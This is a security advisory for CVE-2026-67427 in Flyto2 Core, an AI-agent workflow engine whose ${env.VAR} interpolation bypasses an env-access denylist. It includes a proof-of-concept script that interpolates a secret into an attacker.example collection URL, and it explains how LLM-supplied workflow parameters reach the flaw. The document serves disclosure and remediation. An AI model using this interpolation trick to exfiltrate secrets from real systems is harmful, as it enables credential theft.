CVE-2026-67427: Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted

Published Jul 29, 2026
·
Updated

Summary

The capability policy denies the env.get and env.loaddotenv modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine's variable resolver expands ${env.VAR} for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module.

Affected code

src/core/engine/variableresolver.py:

python if vartype == 'env': if len(parts) < 2: return None envvar = parts[1] return os.getenv(envvar) # any env var, no allowlist, not covered by module policy

The module policy (enforcemodulepolicy in modulepolicy.py) gates module execution at BaseModule.run, but ${...} interpolation happens earlier in the engine and is not subject to it. So denylisting env.get does not actually stop a workflow from reading host env secrets.

Reproduction

Save as envbypasspoc.py, run with PYTHONPATH=src/src python envbypasspoc.py.

python #!/usr/bin/env python3 import os os.environ["AWSSECRETACCESSKEY"] = "AKIA-operator-super-secret-DO-NOT-LEAK"

from core.modulepolicy import modulefilter from core.engine.variableresolver import VariableResolver

print("env.get allowed? ", modulefilter.isallowed("env.get")) r = VariableResolver(params={}, context={}) print("resolve ${env.SECRET}: ", r.resolve("${env.AWSSECRETACCESSKEY}")) print("into an attacker URL: ", r.resolve("https://attacker.example/collect?k=${env.AWSSECRETACCESSKEY}"))

Output:

env.get allowed? False resolve ${env.SECRET}: AKIA-operator-super-secret-DO-NOT-LEAK into an attacker URL: https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK

env.get is denied, yet ${env.AWSSECRETACCESSKEY} reads the same secret and drops it straight into a URL. Confirmed through the running API too: a POST /v1/workflow/run step with text: "${env.AWSSECRETACCESSKEY}" resolved to the secret and returned it in the workflow result (in plaintext — the trace redaction did not mask it).

Reachability (why this is not operator self-service)

The vendor denies env.get by default and states the reason inline — reading arbitrary host env vars is a secret-exfil risk. That default only makes sense against an untrusted workflow/agent, which is precisely the caller here: workflow parameters and step values come from the LLM through the MCP tool surface or from a hosted-API client, not from the trusted operator. ${env.} gives that same denied capability with no gate, so it is a direct bypass of a control the vendor deliberately turned on — not intended behavior.

Impact

Read any host environment variable — cloud keys, tokens, DSNs — that the operator relied on the env.get denylist to protect, and exfiltrate it by interpolating it into an outbound request handled by an allowed module (the SSRF guard allows the attacker's public host). Reachable via the workflow API and the MCP agent surface.

Suggested fix

Apply the same policy to ${env.} as to the env.get module: gate it behind an explicit allowlist of permitted variable names and deny by default when env.get is denied, so engine interpolation and module execution enforce one env-access policy. Alternatively drop ${env.} and require env values to be passed in explicitly at workflow start.

Other sources

Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, the workflow engine variable resolver expands ${env.VAR} for any host environment variable without an allowlist or capability policy check, allowing a workflow parameter to bypass the default capability policy denylist for env.get and env.loaddotenv and exfiltrate secrets through allowed modules. This issue is fixed in version 2.26.6.

— MITRE

Affected Software

2 affected componentsFixes available
Flyto2 Flyto2 Core<=2.26.5
pip/flyto-core<2.26.7
2.26.7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/flyto-core to a version that resolves this vulnerability.

    Fixed in 2.26.7
  2. Upgrade

    Upgrade Flyto2 Core to a version that resolves this vulnerability.

    Fixed in 2.26.6

Event History

Jul 29, 2026
CVE Published
via MITRE·06:45 PM
Data Sourced
via MITRE·06:45 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
DescriptionSeverityWeakness
Jul 30, 2026
Advisory Published
via GitHub·02:47 PM
Data Sourced
via GitHub·02:47 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-67427?

The severity of CVE-2026-67427 is high, with a score of 8.6.

2

How do I fix CVE-2026-67427?

To fix CVE-2026-67427, upgrade Flyto2 Core to version 2.26.6 or later.

3

What type of vulnerability is CVE-2026-67427?

CVE-2026-67427 is an environment variable interpolation vulnerability that affects the workflow engine of Flyto2 Core.

4

Who is affected by CVE-2026-67427?

Users of Flyto2 Core versions prior to 2.26.6 are affected by CVE-2026-67427.

5

What are the potential consequences of CVE-2026-67427?

CVE-2026-67427 could allow unauthorized access to sensitive environment variables, potentially exposing secrets.

Contact

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